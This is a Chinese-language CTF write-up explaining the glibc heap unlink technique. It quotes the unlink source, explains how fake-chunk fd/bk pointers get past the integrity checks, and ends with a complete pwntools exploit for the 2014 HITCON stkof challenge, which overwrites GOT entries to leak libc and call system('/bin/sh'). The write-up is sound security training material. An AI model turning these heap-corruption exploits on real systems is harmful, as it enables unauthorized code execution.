Unlink

一、 Unlink介绍

Unlink被定义为一个宏(高版本libc中被定义为了静态函数 unlink_chunk),其源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/* 
* 从双向链表中安全移除节点P的宏
* AV: 分配区指针,用于错误处理
* P: 要移除的节点指针
* BK: 临时存储后驱节点指针
* FD: 临时存储前驱节点指针
*/
#define unlink(AV, P, BK, FD) {
/* 获取P的前驱和后继节点 */
FD = P->fd;
BK = P->bk;

/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;

/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

/* 如果后继节点的大小链表指针为空,需要重建 */
if (FD->fd_nextsize == NULL) {
/* 情况1:P是唯一节点,让后继节点自环 */
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
/* 情况2:将P的大小链表指针转移给后继节点 */
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD; /* 更新后节点的后驱 */
P->bk_nextsize->fd_nextsize = FD; /* 更新前节点的前驱 */
}
}
/* 如果后继已有大小链表指针,直接跳过P */
else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

Unlink是堆管理中的一个操作,用于将一个chunk从双向链表中取出。触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

实现过程如下图。(图画的丑陋,别喷)
image-20250617124739665
当我们执行Unlink将chunk2从双向链表中取出的时候,这个双向链表就变成下面这个样子。
image-20250617124810977

漏洞点: 如果我们可以伪造chunk2,通过控制fd和bk的值,我们似乎就可以实现任意地址写。
但是事情并非如此简单,通过上面给出的源码可以看到,Unlink内部做了许多保护和限制,下面我们就来研究这些保护以及限制。

二、 保护和限制

1. chunksize(P) == prev_size(next_chunk(P))

这部分检测源码如下:

1
2
3
4
5
/* 获取下一个块的指针 */
nextchunk = chunk_at_offset(p, size);
/* 检查下一个块的prev_size是否等于当前块size */
if (__builtin_expect(nextchunk->prev_size != size, 0))
malloc_printerr("corrupted size vs. prev_size");

这部分检测检查的是下一个chunk的prev_size是否和当前堆块的prev_size相等(这是free函数中的检测)

2. fd->bk == P && bk -> fd == P

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 验证前后节点指针的完整性:前驱的后继和后继的前驱必须都指向P */
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

/* 链表完整性验证通过,执行移除操作 */
else {
/* 基本链表操作:让前驱和后继互相指向,跳过P */
FD->bk = BK;
BK->fd = FD;

其实就是在检测这个双向链表的结构是否完整。

3. not small

这部分检测源码如下:

1
2
3
4
5
6
7
8
9
/* 处理非small bin的特殊情况(large bins可能有额外的大小链表) */
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
/* 检查大小链表的完整性 */
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);

简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、 适用场景及绕过方法

适用场景(一般来说)

  1. 有一个list专门用于存户malloc得到的指针
  2. 存在溢出漏洞

保护绕过(以上面讲的适用场景为例)

保护1
通过溢出,对下一个堆块进行修改,使得下一个堆块的prev_size = fackchcunk的size,prev_inuse = 0
保护2
对于保护2,可以通过构造facck chunk来绕过。
chunk_list存在的时候,我们做以下构造
fack chunk的fd指向 存放当前堆块指针的地址 -0x18(bk指针相对于chunk头的偏移是0x18)
fack chunk的bk指向 存放当前堆块指针的地址 -0x10(fd指针相对于chunk头的偏移是0x10)
这样就实现了 fack_chunk的fd指向的“chunk”的bk指向它,fack_chunk的bk指向的“chunk”指向它,从而成功绕过检测。

1
2
fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

保护3
更简单了,直接不申请largebin大小的chunk即可。

四、 例题分析

题目来源:[2014_hitccon_stkof]
先检查一下保护,看一下文件的ELF信息

可以看到是64位小端序,开启了canary和nx,got表可写
image-20250617125546768

丢到ida里面看一看(为了方便查看,改了一些函数和变量的名字)
main函数
image-20250617124854156

creat函数
image-20250617124903369

delete函数
image-20250617124912467

edit函数
image-20250617124923828

还有一个没什么用的函数,这里就不管他了。
image-20250617124935044

通过分析程序的主要函数,我们发现申请的堆块的指针都在存放在bss段的一个数组(后面叫做list)中,并且edit函数输入的字节数目由我们自己控制,所以存在溢出。所以这道题可以用unlink来做。
image-20250617125023974
前置准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def cmd(choicce):
p.sendline(str(choicce).encode())

def add(size):
cmd(1)
p.sendline(str(size).encode())

def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)

def delete(index):
cmd(3)
p.sendline(str(index).encode())

所以思路就很清晰了:
我们先申请四个堆块(第一个用后续操作,第二个就是我们用来制作fack chunk的,第三个用来触发unlink,堆块四用来chunk防止与top chunk合并)

1
2
3
4
5
6
7
8
9
10
add(0x80)# 1

p.recvuntil(b'OK\n')
add(0x80)# 2

p.recvuntil(b'OK\n')
add(0x80)# 3

p.recvuntil(b'OK\n')
add(0x20)# 4

然后通过edit第二个堆块来制造fack chunk并溢出到第三个堆块,修改他的prev_size和prev_inuse

1
2
3
4
5
6
7
8
9
chunks =  0x602140
aim = chunks + 0x10#chunk2_addr
fd = aim - 0x18
bk = aim - 0x10

#fake_chunk
p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)

此时,chunk2内存是这样的
image-20250617124950177

接着free第三个堆块触发unlink,这个时候原来存放第二个堆块的指针(list[2])的位置就被写入了 &list -0x8
image-20250617124958275

后面我们就可以通过edit堆块2去修改list中存放的值,我们将chunk_list[1]、chunk_list[2]、chunk_list[3]的值分别改为free、puts、atoi的got表地址
然后通过edit堆块1,实现修改free_got为 puts_plt ,然后free堆块2就能泄露puts函数的真实地址,据此算出libc_base
然后edit堆块3将atoi_got改为system的地址,最后输入/bin/sh就能getshell

完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context(log_level='debug' , os = 'linux', arch = 'amd64')
pwnfile = './pwn'

elf = ELF(pwnfile)
libc = elf.libc

is_remote = 0

if (remote):
p = remote('node5.buuoj.cn', 26221)
else:
p = process(pwnfile)
def cmd(choicce):
p.sendline(str(choicce).encode())

def add(size):
cmd(1)
p.sendline(str(size).encode())

def edit(index,size,content):
cmd(2)
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.send(content)

def delete(index):
cmd(3)
p.sendline(str(index).encode())

if __name__ == '__main__':

chunks = 0x602140
aim = chunks + 0x10

fd = aim - 0x18
bk = aim - 0x10

puts_plt = elf.plt['puts']
free_got = elf.got['free']
fread_got = elf.got['fread']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']

add(0x80)#

p.recvuntil(b'OK\n')
add(0x80)#

p.recvuntil(b'OK\n')
add(0x80)#

p.recvuntil(b'OK\n')
add(0x20)#

#gdb.attach(p)
#fake_chunk

p.recvuntil(b'OK\n')
payload1 = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(2,0x90,payload1)

p.recvuntil(b'OK\n')
delete(3)

p.recvuntil(b'OK\n')
payload2 = b'a'*0x10 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit( 2 , len(payload2) , payload2)

p.recvuntil(b'OK\n')
edit( 1 , 0x8 , p64(puts_plt))


p.recvuntil(b'OK\n')
delete(2)

puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
success("puts_addr: " + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.symbols['system']
success("system_addr: " + hex(system_addr))

#gdb.attach(p)
p.recvuntil(b'OK\n')
edit( 3 , 0x8 , p64(system_addr))

pause()
p.sendline(b'/bin/sh\x00')
p.interactive()